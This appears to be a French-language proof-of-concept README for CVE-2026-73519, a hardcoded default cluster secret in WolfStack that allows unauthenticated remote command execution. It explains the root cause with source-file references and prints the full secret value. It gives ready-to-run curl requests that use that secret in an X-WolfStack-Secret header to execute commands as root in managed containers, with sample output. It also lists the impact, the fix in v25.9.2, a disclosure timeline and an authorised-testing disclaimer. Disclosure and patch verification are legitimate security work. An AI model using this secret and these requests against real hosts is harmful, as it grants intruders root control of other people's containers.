CVE-2026-73519 — Secret de cluster codé en dur de WolfStack → RCE sans authentification

PoC pour un secret d'authentification par défaut codé en dur dans WolfStack qui permet à un attaquant distant non authentifié d'exécuter des commandes arbitraires en tant que root dans n'importe quel conteneur Docker/LXC géré.

Cause racine

src/auth/mod.rs:32 embarque un secret codé en dur unique intégré dans chaque build WolfStack :

const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";

auth::default_secret_accepted() (src/auth/mod.rs:430-460) accepte cette constante comme identifiant valide par défaut, sauf si l'opérateur a explicitement refusé (WOLFSTACK_REJECT_DEFAULT_SECRET=1) ou a déjà basculé vers un secret personnalisé. api::require_auth() (src/api/mod.rs:518-535), la seule barrière protégeant l'ensemble de l'API REST, traite une requête portant un en-tête X-WolfStack-Secret correspondant comme entièrement authentifiée — ni session, ni clé API, ni compte.

Cette barrière protège POST /api/containers/{runtime}/{id}/exec (src/api/mod.rs:7145-7167), qui exécute la chaîne de commande fournie par l'appelant telle quelle dans le conteneur cible. Quiconque a lu le code source public (ou ce dépôt) peut s'authentifier comme un pair de cluster de confiance et exécuter des commandes arbitraires en tant que root dans n'importe quel conteneur géré par le nœud.

L'auto-génération du secret par installation ajoutée à ce cycle de publication ne se déclenche que pour les nœuds sans fichier secret existant et sans pairs enregistrés (src/auth/mod.rs:250-261) — tout nœud mis à niveau, tout nœud confronté à la course au démarrage documentée, ou tout nœud avec un chemin de configuration non accessible en écriture continue d'utiliser le secret partagé par défaut indéfiniment, avec seulement un avertissement dans les journaux.

Utilisation

Pointez TARGET et CONTAINER vers une instance WolfStack et un conteneur que vous êtes autorisé à tester, puis :

./poc.sh http://TARGET:8553 CONTAINER_NAME

Ou manuellement :

# Unauthenticated — rejected
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
  -H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"}  HTTP 401

# Hardcoded secret from src/auth/mod.rs:32 — full RCE as root, no login
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
  -H "Content-Type: application/json" \
  -H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
  -d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"}  HTTP 200

Vérifié avec le binaire de version v25.9.0 authentique, dont la somme de contrôle a été vérifiée (sha256 82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c), avec un vrai conteneur alpine:latest comme cible. L'ID du conteneur dans la sortie de la réponse correspond à docker ps sur l'hôte victime.

Impact

• Énumérer tous les conteneurs Docker/LXC sur l'hôte (/api/containers/docker, /api/containers/lxc), sans authentification.
• Exécuter des commandes arbitraires en tant que root dans n'importe lequel d'entre eux via le même en-tête.
• La même faille de contournement atteint toutes les autres routes protégées par require_auth (gestion des pairs/nœuds, sauvegardes, etc.) — ce PoC cible le sink container-exec comme l'impact le plus net, et non une liste exhaustive.

Correctif

Mettez à jour vers v25.9.2 ou une version ultérieure. Le mainteneur a fait passer l'acceptation du secret par défaut à un rejet par défaut et a ajouté une procédure de rotation forcée pour les installations existantes.

Chronologie de divulgation

• 2026-07-31 — Rapporté au mainteneur via GitHub Security Advisories.
• Le mainteneur a publié un correctif dans v25.9.2 / v25.9.3.
• 2026-08-08 — Soumis à VulnCheck pour l'attribution du CVE (voie rapide pour les cas déjà publics).
• 2026-08-16 — CVE-2026-73519 attribué par VulnCheck.

Avertissement

Publié après la sortie du correctif et l'attribution du CVE, à des fins défensives/éducatives — pour vérifier l'état du correctif sur votre propre infrastructure. N'exécutez pas cela contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.